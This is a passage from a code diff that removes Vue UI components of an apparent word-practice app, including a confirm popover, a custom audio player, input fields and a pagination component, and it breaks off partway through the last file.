<header class="flex justify-between items-center py-3 px-space">
<div class="color-main">
<slot name="title"></slot>
</div>
<Tooltip
:title="`关闭(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`"
>
<Close @click="settingStore.showPanel = false"/>
</Tooltip>
</header>
<div class="flex-1 overflow-hidden">
<slot></slot>
</div>
</div>
</Transition>
</template>
<style scoped lang="scss">
.panel {
border-radius: .5rem;
width: var(--panel-width);
background: var(--color-second);
height: 100%;
display: flex;
flex-direction: column;
border: 1px solid var(--color-item-border);
box-shadow: var(--shadow);
}
</style>

View File

@@ -1,127 +0,0 @@
<script lang="jsx">
import {Teleport, Transition} from 'vue'
export default {
name: "PopConfirm",
components: {
Teleport,
Transition
},
props: {
title: {
type: String,
default() {
return ''
}
},
disabled: {
type: Boolean,
default() {
return false
}
}
},
data() {
return {
show: false
}
},
mounted() {
window.addEventListener('click', () => {
this.show = false
})
window.addEventListener('keydown', () => {
this.show = false
})
},
methods: {
showPop(e) {
if (this.disabled) return
e?.stopPropagation()
let rect = e.target.getBoundingClientRect()
this.show = true
this.$nextTick(() => {
let tip = this.$refs?.tip?.getBoundingClientRect()
// console.log('rect', rect, tip)
if (!tip) return
if (rect.top < 150) {
this.$refs.tip.style.top = rect.top + rect.height + tip.height + 30 + 'px'
} else {
this.$refs.tip.style.top = rect.top - 10 + 'px'
}
this.$refs.tip.style.left = rect.left + rect.width / 2 - 50 + 'px'
})
},
confirm() {
this.show = false
this.$emit('confirm')
}
},
render() {
let Vnode = this.$slots.default()[0]
return (
<div class="pop-confirm">
<Teleport to="body">
<Transition>
{
this.show && (
<div ref="tip" class="pop-confirm-content">
<div class="text">
{this.title}
</div>
<div class="options">
<div onClick={() => this.show = false}>取消</div>
<div class="main" onClick={() => this.confirm()}>确认</div>
</div>
</div>
)
}
</Transition>
</Teleport>
<Vnode onClick={(e) => this.showPop(e)}/>
</div>
)
}
}
</script>
<style lang="scss" scoped>
$bg-color: rgb(226, 226, 226);
.pop-confirm-content {
position: fixed;
background: var(--color-tooltip-bg);
padding: 1rem;
border-radius: .3rem;
transform: translate(-50%, calc(-100% - .6rem));
box-shadow: 0 0 6px 1px var(--color-tooltip-shadow);
z-index: 999;
.text {
color: var(--color-font-1);
text-align: start;
font-size: 1rem;
width: 9rem;
min-width: 9rem;
}
.options {
margin-top: .9rem;
display: flex;
justify-content: flex-end;
align-items: center;
gap: .7rem;
font-size: .9rem;
div {
cursor: pointer;
}
.main {
color: gray;
background: $bg-color;
padding: .2rem .6rem;
border-radius: .24rem;
}
}
}
</style>

View File

@@ -1,55 +0,0 @@
<script setup lang="ts">
import {useSettingStore} from "@/stores/setting.ts";
const settingStore = useSettingStore()
defineProps<{
panelLeft: string
}>()
</script>
<template>
<div class="flex justify-center relative h-screen"
:class="!settingStore.showToolbar && 'footer-hide'">
<div class="wrap">
<slot name="practice"></slot>
</div>
<div class="panel-wrap" :style="{left:panelLeft}">
<slot name="panel"></slot>
</div>
<div class="footer-wrap">
<slot name="footer"></slot>
</div>
</div>
</template>
<style scoped lang="scss">
.wrap {
transition: all var(--anim-time);
height: calc(100vh - 8rem);
}
.footer-hide {
.wrap {
height: calc(100vh - 3rem) !important;
}
.footer-wrap {
bottom: -6rem;
}
}
.footer-wrap {
position: fixed;
bottom: 0.8rem;
transition: all var(--anim-time);
}
.panel-wrap {
position: absolute;
top: .8rem;
z-index: 1;
height: calc(100vh - 1.8rem);
}
</style>

View File

@@ -1,41 +0,0 @@
<script setup lang="ts">
const props = defineProps<{
width?: string,
height?: string,
slideCount: number,
step: number
}>()
const style = $computed(() => {
return {
width: props.slideCount * 100 + '%',
transform: `translate3d(-${100 / props.slideCount * props.step}%, 0, 0)`
}
})
</script>
<template>
<div class="slide">
<div class="slide-list"
:style="style">
<slot></slot>
</div>
</div>
</template>
<style scoped lang="scss">
.slide {
width: 100%;
height: 100%;
overflow: hidden;
.slide-list {
width: 100%;
height: 100%;
display: flex;
transition: all .3s;
}
}
</style>

View File

@@ -1,59 +0,0 @@
<script setup lang="ts">
import {Word} from "@/types/types.ts";
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
import {usePlayWordAudio} from "@/hooks/sound.ts";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
const props = withDefaults(defineProps<{
item: Word,
showTranslate?: boolean
showWord?: boolean
showTransPop?: boolean
hiddenOptionIcon?: boolean
}>(), {
showTranslate: true,
showWord: true,
showTransPop: true,
hiddenOptionIcon: false,
})
const playWordAudio = usePlayWordAudio()
</script>
<template>
<div class="common-list-item"
:class="{hiddenOptionIcon}"
>
<div class="left">
<slot name="prefix" :item="item"></slot>
<div class="title-wrapper">
<div class="item-title">
<span class="word" :class="!showWord && 'word-shadow'">{{ item.word }}</span>
<span class="phonetic">{{ item.phonetic0 }}</span>
<VolumeIcon class="volume" @click="playWordAudio(item.word)"></VolumeIcon>
</div>
<div class="item-sub-title flex flex-col gap-2" v-if="item.trans.length && showTranslate">
<div v-for="v in item.trans">
<Tooltip
v-if="v.cn.length > 30 && showTransPop"
:title="v.pos + ' ' + v.cn"
>
<span>{{ v.pos + ' ' + v.cn.slice(0, 30) + '...' }}</span>
</Tooltip>
<span v-else>{{ v.pos + ' ' + v.cn }}</span>
</div>
</div>
</div>
</div>
<div class="right">
<slot name="suffix" :item="item"></slot>
</div>
</div>
</template>
<style scoped lang="scss">
</style>

View File

@@ -1,775 +0,0 @@
<script setup lang="ts">
import {ref, computed, watch, useAttrs} from 'vue';
interface IProps {
src?: string;
autoplay?: boolean;
loop?: boolean;
volume?: number; // 0-1
currentTime?: number;
playbackRate?: number;
disabled?: boolean;
}
const props = withDefaults(defineProps<IProps>(), {
autoplay: false,
loop: false,
volume: 1,
currentTime: 0,
playbackRate: 1,
disabled: false
});
const attrs = useAttrs();
// 音频元素引用
const audioRef = ref<HTMLAudioElement>();
const progressBarRef = ref<HTMLDivElement>();
const volumeBarRef = ref<HTMLDivElement>();
// 状态管理
const isPlaying = ref(false);
const isLoading = ref(false);
const duration = ref(0);
const currentTime = ref(0);
const volume = ref(props.volume);
const playbackRate = ref(props.playbackRate);
const isDragging = ref(false);
const isVolumeDragging = ref(false);
const isVolumeHovering = ref(false); // 添加音量控制hover状态变量
const error = ref('');
// 计算属性
const progress = computed(() => {
return duration.value > 0 ? (currentTime.value / duration.value) * 100 : 0;
});
const volumeProgress = computed(() => {
return volume.value * 100;
});
const formatTime = (time: number) => {
if (!isFinite(time)) return '0:00';
const minutes = Math.floor(time / 60);
const seconds = Math.floor(time % 60);
return `${minutes}:${seconds.toString().padStart(2, '0')}`;
};
// 播放控制
const togglePlay = async () => {
if (!audioRef.value || props.disabled) return;
try {
if (isPlaying.value) {
audioRef.value.pause();
} else {
await audioRef.value.play();
}
} catch (err) {
console.error('播放失败:', err);
error.value = '播放失败';
}
};
const toggleMute = () => {
if (!audioRef.value || props.disabled) return;
if (volume.value > 0) {
volume.value = 0;
audioRef.value.volume = 0;
} else {
volume.value = 1;
audioRef.value.volume = 1;
}
};
const changePlaybackRate = () => {
if (!audioRef.value || props.disabled) return;
const rates = [0.5, 0.75, 1, 1.25, 1.5, 2];
const currentIndex = rates.indexOf(playbackRate.value);
const nextIndex = (currentIndex + 1) % rates.length;
playbackRate.value = rates[nextIndex];
audioRef.value.playbackRate = playbackRate.value;
};
// 事件处理
const handleLoadStart = () => {
isLoading.value = true;
};
const handleLoadedData = () => {
isLoading.value = false;
};
const handleLoadedMetadata = () => {
duration.value = audioRef.value?.duration || 0;
};
const handleCanPlayThrough = () => {
};
const handlePlay = () => {
isPlaying.value = true;
};
const handlePause = () => {
isPlaying.value = false;
};
const handleEnded = () => {
isPlaying.value = false;
currentTime.value = 0;
};
const handleError = () => {
error.value = '音频加载失败';
isLoading.value = false;
};
const handleTimeUpdate = () => {
if (audioRef.value && !isDragging.value) {
currentTime.value = audioRef.value.currentTime;
}
};
const handleVolumeChange = () => {
if (audioRef.value && !isVolumeDragging.value) {
volume.value = audioRef.value.volume;
}
};
const handleRateChange = () => {
if (audioRef.value) {
playbackRate.value = audioRef.value.playbackRate;
}
};
// 进度条处理
const handleProgressMouseDown = (event: MouseEvent) => {
if (!audioRef.value || !progressBarRef.value || props.disabled) return;
event.preventDefault();
event.stopPropagation();
const rect = progressBarRef.value.getBoundingClientRect();
const startX = event.clientX;
const startY = event.clientY;
let hasMoved = false;
let lastPosition = 0; // 记录最后的位置
const moveThreshold = 3; // 移动阈值,超过这个距离才认为是拖拽
// 获取DOM元素引用
const progressFill = progressBarRef.value.querySelector('.progress-fill') as HTMLElement;
const progressThumb = progressBarRef.value.querySelector('.progress-thumb') as HTMLElement;
// 立即跳转到点击位置
const clickX = event.clientX - rect.left;
const percentage = Math.max(0, Math.min(1, clickX / rect.width));
const newTime = percentage * duration.value;
// 直接更新DOM样式
if (progressFill && progressThumb) {
progressFill.style.width = `${percentage * 100}%`;
progressThumb.style.left = `${percentage * 100}%`;
}
audioRef.value.currentTime = newTime;
currentTime.value = newTime;
lastPosition = newTime;
isDragging.value = true;
const handleMouseMove = (e: MouseEvent) => {
const deltaX = Math.abs(e.clientX - startX);
const deltaY = Math.abs(e.clientY - startY);
if (deltaX > moveThreshold || deltaY > moveThreshold) {
hasMoved = true;
}
if (!hasMoved) return;
// 禁用过渡动画
if (progressFill && progressThumb) {
progressFill.style.transition = 'none';
progressThumb.style.transition = 'none';
}
const rect = progressBarRef.value!.getBoundingClientRect();
const clickX = e.clientX - rect.left;
const percentage = Math.max(0, Math.min(1, clickX / rect.width));
const newTime = percentage * duration.value;
// 直接更新DOM样式不使用响应式变量
if (progressFill && progressThumb) {
progressFill.style.width = `${percentage * 100}%`;
progressThumb.style.left = `${percentage * 100}%`;
}
// 只更新响应式变量用于时间显示,不用于样式
currentTime.value = newTime;
lastPosition = newTime;
};
const handleMouseUp = () => {
isDragging.value = false;
// 恢复过渡动画
if (progressFill && progressThumb) {
progressFill.style.transition = '';
progressThumb.style.transition = '';
}
// 如果是拖拽在结束时更新audio元素到最终位置
if (hasMoved && audioRef.value) {
audioRef.value.currentTime = lastPosition;
}
document.removeEventListener('mousemove', handleMouseMove);
document.removeEventListener('mouseup', handleMouseUp);
};
document.addEventListener('mousemove', handleMouseMove);
document.addEventListener('mouseup', handleMouseUp);
};
// 音量控制处理
const handleVolumeMouseDown = (event: MouseEvent) => {
if (!audioRef.value || !volumeBarRef.value || props.disabled) return;
event.preventDefault();
event.stopPropagation();
const rect = volumeBarRef.value.getBoundingClientRect();
const startX = event.clientX;
const startY = event.clientY;
let hasMoved = false;
let lastVolume = 0; // 记录最后的音量
const moveThreshold = 3; // 移动阈值,超过这个距离才认为是拖拽
// 获取DOM元素引用
const volumeFill = volumeBarRef.value.querySelector('.volume-fill') as HTMLElement;
const volumeThumb = volumeBarRef.value.querySelector('.volume-thumb') as HTMLElement;
// 立即跳转到点击位置
const clickY = event.clientY - rect.top;
// 计算百分比最上面是0%最下面是100%
const percentage = Math.max(0, Math.min(1, clickY / rect.height));
// 直接更新DOM样式
if (volumeFill && volumeThumb) {
volumeFill.style.height = `${percentage * 100}%`;
// 设置top而不是bottom
volumeThumb.style.top = `${percentage * 100}%`;
// 重置left样式
volumeThumb.style.left = '50%';
}
volume.value = percentage;
audioRef.value.volume = percentage;
lastVolume = percentage;
isVolumeDragging.value = true;
const handleMouseMove = (e: MouseEvent) => {
const deltaX = Math.abs(e.clientX - startX);
const deltaY = Math.abs(e.clientY - startY);
if (deltaX > moveThreshold || deltaY > moveThreshold) {
hasMoved = true;
}
if (!hasMoved) return;
// 禁用过渡动画
if (volumeFill && volumeThumb) {
volumeFill.style.transition = 'none';
volumeThumb.style.transition = 'none';
}
const rect = volumeBarRef.value!.getBoundingClientRect();
const clickY = e.clientY - rect.top;
// 计算百分比最上面是0%最下面是100%
const percentage = Math.max(0, Math.min(1, clickY / rect.height));
// 直接更新DOM样式不使用响应式变量
if (volumeFill && volumeThumb) {
volumeFill.style.height = `${percentage * 100}%`;
// 设置top而不是bottom
volumeThumb.style.top = `${percentage * 100}%`;
}
// 更新响应式变量和音频音量
volume.value = percentage;
lastVolume = percentage;
// 实时更新音频音量
if (audioRef.value) {
audioRef.value.volume = percentage;
}
};
const handleMouseUp = () => {
isVolumeDragging.value = false;
// 恢复过渡动画
if (volumeFill && volumeThumb) {
volumeFill.style.transition = '';
volumeThumb.style.transition = '';
}
// 如果是拖拽在结束时更新audio元素到最终音量
if (hasMoved && audioRef.value) {
audioRef.value.volume = lastVolume;
}
document.removeEventListener('mousemove', handleMouseMove);
document.removeEventListener('mouseup', handleMouseUp);
};
document.addEventListener('mousemove', handleMouseMove);
document.addEventListener('mouseup', handleMouseUp);
};
// 监听属性变化
watch(() => props.src, (newSrc) => {
if (audioRef.value) {
// 重置所有状态
isPlaying.value = false;
isLoading.value = false;
currentTime.value = 0;
duration.value = 0;
error.value = '';
if (newSrc) {
audioRef.value.src = newSrc;
audioRef.value.load();
} else {
// 如果src为空清空音频源
audioRef.value.src = '';
audioRef.value.load();
}
}
});
watch(() => props.volume, (newVolume) => {
volume.value = newVolume;
if (audioRef.value) {
audioRef.value.volume = newVolume;
}
});
watch(() => props.currentTime, (newTime) => {
if (audioRef.value && !isDragging.value) {
audioRef.value.currentTime = newTime;
currentTime.value = newTime;
}
});
watch(() => props.playbackRate, (newRate) => {
playbackRate.value = newRate;
if (audioRef.value) {
audioRef.value.playbackRate = newRate;
}
});
defineExpose({audioRef})
</script>
<template>
<div
class="custom-audio"
:class="{ 'disabled': disabled||error, 'has-error': error }"
v-bind="attrs"
>
<!-- 隐藏的原生audio元素 -->
<audio
ref="audioRef"
:src="src"
preload="auto"
:autoplay="autoplay"
:loop="loop"
:controls="false"
@loadstart="handleLoadStart"
@loadeddata="handleLoadedData"
@loadedmetadata="handleLoadedMetadata"
@canplaythrough="handleCanPlayThrough"
@play="handlePlay"
@pause="handlePause"
@ended="handleEnded"
@error="handleError"
@timeupdate="handleTimeUpdate"
@volumechange="handleVolumeChange"
@ratechange="handleRateChange"
/>
<!-- 自定义控制界面 -->
<div class="audio-container">
<!-- 播放/暂停按钮 -->
<button
class="play-button"
:class="{ 'loading': isLoading }"
@click="togglePlay"
:disabled="disabled"
:aria-label="isPlaying ? '暂停' : '播放'"
>
<div v-if="isLoading" class="loading-spinner"></div>
<svg v-else-if="isPlaying" class="icon" viewBox="0 0 24 24" fill="currentColor">
<path d="M6 4h4v16H6V4zm8 0h4v16h-4V4z"/>
</svg>
<svg v-else class="icon" viewBox="0 0 24 24" fill="currentColor">
<path d="M8 5v14l11-7z"/>
</svg>
</button>
<!-- 进度条区域 -->
<div class="progress-section">
<!-- 时间显示 -->
<span class="time-display">{{ formatTime(currentTime) }} / {{ formatTime(duration) }}</span>
<!-- 进度条 -->
<div
class="progress-container"
@mousedown="handleProgressMouseDown"
ref="progressBarRef"
>
<div class="progress-track">
<div
class="progress-fill"
:style="{ width: progress + '%' }"
></div>
<div
class="progress-thumb"
:style="{ left: progress + '%' }"
></div>
</div>
</div>
</div>
<!-- 音量控制 -->
<div
class="volume-section"
@mouseenter="isVolumeHovering = true"
@mouseleave="isVolumeHovering = false"
>
<button
class="volume-button"
@click="toggleMute"
:disabled="disabled"
:aria-label="volume > 0 ? '静音' : '取消静音'"
>
<IconBxVolumeMute v-if="volume === 0" class="icon"></IconBxVolumeMute>
<IconBxVolumeLow v-else-if="volume < 0.5" class="icon"></IconBxVolumeLow>
<IconBxVolumeFull v-else class="icon"></IconBxVolumeFull>
</button>
<!-- 音量下拉控制条 -->
<div class="volume-dropdown" :class="{ 'active': isVolumeHovering || isVolumeDragging }">
<div
class="volume-container"
@mousedown="handleVolumeMouseDown"
ref="volumeBarRef"
>
<div class="volume-track">
<div
class="volume-fill"
:style="{ height: volumeProgress + '%', top: 0 }"
></div>
<div
class="volume-thumb"
:style="{ top: volumeProgress + '%' }"
></div>
</div>
</div>
</div>
</div>
<!-- 播放速度控制 -->
<button
class="speed-button"
@click="changePlaybackRate"
:disabled="disabled"
:aria-label="`播放速度: ${playbackRate}x`"
>
{{ playbackRate }}x
</button>
</div>
<!-- 错误信息 -->
<div v-if="error" class="error-message">{{ error }}</div>
</div>
</template>
<style scoped lang="scss">
.custom-audio {
--audio-border-radius: 8px;
--audio-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.1);
--audio-button-bg: rgba(255, 255, 255, 0.2);
--audio-thumb-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
--audio-volume-thumb-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
--audio-speed-button-border: rgba(255, 255, 255, 0.3);
--audio-error-bg: #f56c6c;
--height: 32px;
--gap: 8px;
display: inline-block;
box-sizing: border-box;
width: 100%;
max-width: 600px;
background: var(--color-primary);
border-radius: var(--audio-border-radius);
box-shadow: var(--audio-box-shadow);
color: var(--color-reverse-black);
transition: all 0.3s ease;
font-family: var(--font-family);
padding: 0.3rem 0.4rem;
position: relative;
&.disabled {
pointer-events: none;
}
&.has-error {
border: 1px solid var(--audio-error-bg);
}
}
.audio-container {
display: flex;
align-items: center;
gap: var(--gap);
}
.play-button {
display: flex;
align-items: center;
justify-content: center;
width: var(--height);
height: var(--height);
color: var(--color-reverse-black);
border-radius: 50%;
background: var(--color-second);
cursor: pointer;
transition: all 0.3s ease;
flex-shrink: 0;
border: 1px solid var(--audio-speed-button-border);
&:hover {
background: var(--color-card-active) !important;
}
&.loading {
background: var(--audio-button-bg);
}
.icon {
width: 20px;
height: 20px;
}
.loading-spinner {
width: 20px;
height: 20px;
border: 2px solid rgba(255, 255, 255, 0.3);
border-top: 2px solid currentColor;
border-radius: 50%;
animation: spin 1s linear infinite;
}
}
.progress-section {
display: flex;
align-items: center;
gap: var(--gap);
flex: 1;
min-width: 0;
}
.time-display {
font-size: 12px;
font-weight: 500;
opacity: 0.8;
white-space: nowrap;
text-align: center;
}
.progress-container {
flex: 1;
display: flex;
align-items: center;
cursor: pointer;
padding: 8px 0;
}
.progress-track {
position: relative;
width: 100%;
height: 6px;
background: var(--color-second);
border-radius: 2px;
}
.progress-fill {
height: 100%;
background: var(--color-fourth);
border-radius: 2px;
transition: width 0.1s ease;
}
.progress-thumb {
position: absolute;
top: 50%;
transform: translate(-50%, -50%);
width: 10px;
height: 10px;
background: var(--color-fourth);
border-radius: 50%;
box-shadow: var(--audio-thumb-shadow);
cursor: grab;
opacity: 1;
transition: all 0.2s ease;
&:active {
cursor: grabbing;
}
}
.volume-section {
display: flex;
align-items: center;
gap: 8px;
flex-shrink: 0;
position: relative;
}
.volume-button {
display: flex;
align-items: center;
justify-content: center;
width: var(--height);
height: var(--height);
border-radius: 4px;
background: var(--color-second);
cursor: pointer;
color: var(--color-reverse-black);
transition: all 0.2s ease;
border: 1px solid var(--audio-speed-button-border);
&:hover {
background: var(--color-card-active);
}
.icon {
width: 16px;
height: 16px;
}
}
.volume-dropdown {
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
background: var(--color-primary);
border-radius: 4px;
padding: 8px;
margin-top: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);
opacity: 0;
visibility: hidden;
transition: opacity 0.2s ease, visibility 0.2s ease;
z-index: 10;
&.active {
opacity: 1;
visibility: visible;
}
}
.volume-container {
width: 24px;
height: 100px;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
padding: 8px 0;
}
.volume-track {
position: relative;
width: 6px;
height: 100%;
background: var(--color-second);
border-radius: 2px;
overflow: hidden;
}
.volume-fill {
position: absolute;
top: 0;
width: 100%;
height: var(--fill-height);
background: var(--color-fourth);
border-radius: 2px;
}
.volume-thumb {
position: absolute;
left: 50%;
top: var(--thumb-top);
transform: translate(-50%, -50%);
width: 10px;
height: 10px;
background: var(--color-fourth);
border-radius: 50%;
box-shadow: var(--audio-volume-thumb-shadow);
cursor: grab;
opacity: 1;
transition: all 0.2s ease;
&:active {
cursor: grabbing;
}
}
.speed-button {
padding: 0 0.5rem;
border: 1px solid var(--audio-speed-button-border);
border-radius: 4px;
background: var(--color-second);
height: var(--height);
cursor: pointer;
color: var(--color-reverse-black);
transition: all 0.2s ease;
&:hover {
background: var(--color-card-active);
}
}
.error-message {
position: absolute;
right: 0;
left: 2.6rem;
top: 0;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
background: var(--audio-error-bg);
color: var(--color-reverse-white);
font-size: 12px;
border-radius: var(--audio-border-radius);
}
// 动画
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>

View File

@@ -1,172 +0,0 @@
<script setup lang="ts">
import {ref, useAttrs, watch} from 'vue';
const props = defineProps({
modelValue: [String, Number],
placeholder: String,
disabled: Boolean,
type: {
type: String,
default: 'text',
},
clearable: {
type: Boolean,
default: false,
},
required: {
type: Boolean,
default: false,
},
maxLength: Number,
});
const emit = defineEmits(['update:modelValue', 'input', 'change', 'focus', 'blur', 'validation']);
const attrs = useAttrs();
const inputValue = ref(props.modelValue);
const errorMsg = ref('');
watch(() => props.modelValue, (val) => {
inputValue.value = val;
validate(val);
});
const validate = (val: string | number | null | undefined) => {
let err = '';
const strVal = val == null ? '' : String(val);
if (props.required && !strVal.trim()) {
err = '不能为空';
} else if (props.maxLength && strVal.length > props.maxLength) {
err = `长度不能超过 ${props.maxLength} 个字符`;
}
errorMsg.value = err;
emit('validation', err === '', err);
return err === '';
};
const onInput = (e: Event) => {
const target = e.target as HTMLInputElement;
inputValue.value = target.value;
validate(target.value);
emit('update:modelValue', target.value);
emit('input', e);
};
const onChange = (e: Event) => {
emit('change', e);
};
const onFocus = (e: FocusEvent) => {
emit('focus', e);
};
const onBlur = (e: FocusEvent) => {
validate(inputValue.value);
emit('blur', e);
};
const clearInput = () => {
inputValue.value = '';
validate('');
emit('update:modelValue', '');
};
</script>
<template>
<div class="custom-input" :class="{ 'is-disabled': disabled, 'has-error': errorMsg }">
<input
v-bind="attrs"
:type="type"
:placeholder="placeholder"
:disabled="disabled"
:value="inputValue"
@input="onInput"
@change="onChange"
@focus="onFocus"
@blur="onBlur"
class="custom-input__inner"
:maxlength="maxLength"
/>
<button
v-if="clearable && inputValue && !disabled"
type="button"
class="custom-input__clear"
@click="clearInput"
aria-label="Clear input"
>×
</button>
<div v-if="errorMsg" class="custom-input__error">{{ errorMsg }}</div>
</div>
</template>
<style scoped lang="scss">
.custom-input {
position: relative;
display: inline-block;
width: 100%;
&.is-disabled {
opacity: 0.6;
}
&.has-error {
.custom-input__inner {
border-color: #f56c6c;
}
.custom-input__error {
color: #f56c6c;
font-size: 0.85rem;
margin-top: 0.25rem;
}
}
&__inner {
width: 100%;
padding: 0.4rem 1.5rem 0.4rem 0.5rem;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 1rem;
box-sizing: border-box;
transition: all .3s;
color: var(--color-input-color);
background: var(--color-input-bg);
&:focus {
outline: none;
border-color: #409eff;
box-shadow: 0 0 3px #409eff;
}
&:disabled {
background-color: #f5f5f5;
cursor: not-allowed;
}
}
&__clear {
position: absolute;
right: 0.4rem;
top: 50%;
transform: translateY(-50%);
border: none;
background: transparent;
font-size: 1.2rem;
line-height: 1;
cursor: pointer;
color: #999;
padding: 0;
user-select: none;
&:hover {
color: #666;
}
}
&__error {
padding-left: 0.5rem;
}
}
</style>

View File

@@ -1,198 +0,0 @@
<template>
<div class="input-number inline-center select-none anim" :class="{ 'is-disabled': disabled }">
<!-- 减号 -->
<button
class="btn minus-btn inline-center cursor-pointer anim border-none outline-none w-8 h-8"
type="button"
:disabled="disabled || isMin"
@mousedown.prevent="onHold(-1)"
@mouseup="onRelease"
@mouseleave="onRelease"
aria-label="decrease"
>-
</button>
<!-- 输入框 -->
<input
ref="inputRef"
class="flex-1 h-8 px-2 text-center border-none outline-none bg-transparent input-inner w-14"
:value="displayValue"
:disabled="disabled"
inputmode="decimal"
@input="e => displayValue = e.target.value"
@keydown.up.prevent="change(1)"
@keydown.down.prevent="change(-1)"
@blur="onBlur"
/>
<!-- 加号 -->
<button
class="btn plus-btn inline-center cursor-pointer anim border-none outline-none w-8 h-8"
type="button"
:disabled="disabled || isMax"
@mousedown.prevent="onHold(1)"
@mouseup="onRelease"
@mouseleave="onRelease"
aria-label="increase"
>+
</button>
</div>
</template>
<script setup lang="ts">
import {ref, computed, onBeforeUnmount, watch} from 'vue'
const props = defineProps({
modelValue: {type: [Number, String], default: null},
min: {type: Number, default: -Infinity},
max: {type: Number, default: Infinity},
step: {type: Number, default: 1},
precision: {type: Number},
disabled: {type: Boolean, default: false},
stepStrictly: {type: Boolean, default: false},
})
const emit = defineEmits(['update:modelValue', 'input', 'change'])
const inputRef = ref<HTMLInputElement | null>(null)
const inner = ref<number | null>(normalizeToNumber(props.modelValue))
let holdTimer: number | null = null
let holdInterval: number | null = null
watch(() => props.modelValue, (value: number) => {
inner.value = value
})
const displayValue = computed({
get: () => inner.value === null ? '' : format(inner.value),
set: v => {
const n = parseInput(v)
if (n === 'editing') return
setValue(n)
}
})
const isMin = computed(() => inner.value !== null && inner.value <= props.min)
const isMax = computed(() => inner.value !== null && inner.value >= props.max)
function normalizeToNumber(v: any): number | null {
const n = Number(v)
return Number.isFinite(n) ? n : null
}
function clamp(n: number | null) {
if (n === null) return null
if (n < props.min) return props.min
if (n > props.max) return props.max
return n
}
function format(n: number) {
return props.precision != null ? n.toFixed(props.precision) : String(n)
}
function parseInput(s: string): number | 'editing' | null {
const trimmed = s.trim()
if (['', '-', '+', '.', '-.', '+.'].includes(trimmed)) return 'editing'
const n = Number(trimmed)
return Number.isFinite(n) ? n : 'editing'
}
function applyStepStrict(n: number | null) {
if (n === null) return null
if (!props.stepStrictly) return n
const base = Number.isFinite(props.min) ? props.min : 0
const k = Math.round((n - base) / props.step)
return base + k * props.step
}
function toPrecision(n: number) {
return props.precision != null ? Number(n.toFixed(props.precision)) : n
}
function setValue(n: number | null) {
const v = clamp(toPrecision(applyStepStrict(n)))
inner.value = v
emit('update:modelValue', v)
emit('input', v)
emit('change', v)
}
function change(dir: 1 | -1) {
if (props.disabled) return
const base = inner.value ?? (Number.isFinite(props.min) ? props.min : 0)
setValue(base + dir * props.step)
}
function onHold(dir: 1 | -1) {
change(dir)
holdTimer = window.setTimeout(() => {
holdInterval = window.setInterval(() => change(dir), 100)
}, 400)
}
function onRelease() {
if (holdTimer) {
clearTimeout(holdTimer);
holdTimer = null
}
if (holdInterval) {
clearInterval(holdInterval);
holdInterval = null
}
}
function onBlur() {
const n = parseInput(displayValue.value)
setValue(n === 'editing' ? inner.value : n)
}
onBeforeUnmount(onRelease)
</script>
<style scoped lang="scss">
.input-number {
border: 1px solid var(--color-input-border);
overflow: hidden;
border-radius: 4px;
background: var(--color-input-bg);
&:hover {
border-color: var(--color-select-bg);
}
&.is-disabled {
opacity: .3;
.btn, .input-inner {
cursor: not-allowed;
}
}
.input-inner {
color: var(--color-input-color);
}
.btn {
background: var(--color-second);
color: var(--color-input-color);
&.minus-btn {
border-right: 1px solid var(--color-input-border);
}
&.plus-btn {
border-left: 1px solid var(--color-input-border);
}
&:hover {
background: var(--color-third);
color: var(--color-select-bg);
}
&:disabled {
opacity: .5;
cursor: not-allowed;
}
}
}
</style>

View File

@@ -1,384 +0,0 @@
<script setup lang="ts">
import {computed, onMounted, onUnmounted, ref} from 'vue';
interface IProps {
currentPage?: number;
pageSize?: number;
pageSizes?: number[];
layout?: string;
total: number;
hideOnSinglePage?: boolean;
// background property removed as per requirements
}
const props = withDefaults(defineProps<IProps>(), {
currentPage: 1,
pageSize: 10,
pageSizes: () => [10, 20, 30, 40, 50, 100],
layout: 'prev, pager, next',
hideOnSinglePage: false,
});
const emit = defineEmits<{
'update:currentPage': [val: number];
'update:pageSize': [val: number];
'size-change': [val: number];
'current-change': [val: number];
}>();
const internalCurrentPage = ref(props.currentPage);
const internalPageSize = ref(props.pageSize);
// 计算总页数
const pageCount = computed(() => {
return Math.max(1, Math.ceil(props.total / internalPageSize.value));
});
// 可用于显示的页码数量,会根据容器宽度动态计算
const availablePagerCount = ref(5); // 默认值
// 计算显示的页码
const pagers = computed(() => {
const pagerCount = availablePagerCount.value; // 动态计算的页码数量
const halfPagerCount = Math.floor(pagerCount / 2);
const currentPage = internalCurrentPage.value;
const pageCountValue = pageCount.value;
let showPrevMore = false;
let showNextMore = false;
if (pageCountValue > pagerCount) {
if (currentPage > pagerCount - halfPagerCount) {
showPrevMore = true;
}
if (currentPage < pageCountValue - halfPagerCount) {
showNextMore = true;
}
}
const array = [];
if (showPrevMore && !showNextMore) {
const startPage = pageCountValue - (pagerCount - 2);
for (let i = startPage; i < pageCountValue; i++) {
array.push(i);
}
} else if (!showPrevMore && showNextMore) {
for (let i = 2; i < pagerCount; i++) {
array.push(i);
}
} else if (showPrevMore && showNextMore) {
const offset = Math.floor(pagerCount / 2) - 1;
for (let i = currentPage - offset; i <= currentPage + offset; i++) {
array.push(i);
}
} else {
for (let i = 2; i < pageCountValue; i++) {
array.push(i);
}
}
return array;
});
// 是否显示分页
const shouldShow = computed(() => {
return props.hideOnSinglePage ? pageCount.value > 1 : true;
});
// 处理页码变化
function handleCurrentChange(val: number) {
internalCurrentPage.value = val;
emit('update:currentPage', val);
emit('current-change', val);
}
// 处理每页条数变化
function handleSizeChange(val: number) {
internalPageSize.value = val;
emit('update:pageSize', val);
emit('size-change', val);
// 重新计算可用页码数量
calculateAvailablePagerCount();
// 重新计算当前页,确保当前页在有效范围内
const newPageCount = Math.ceil(props.total / val);
if (internalCurrentPage.value > newPageCount) {
internalCurrentPage.value = newPageCount;
emit('update:currentPage', newPageCount);
emit('current-change', newPageCount);
}
}
// 计算可用宽度并更新页码数量
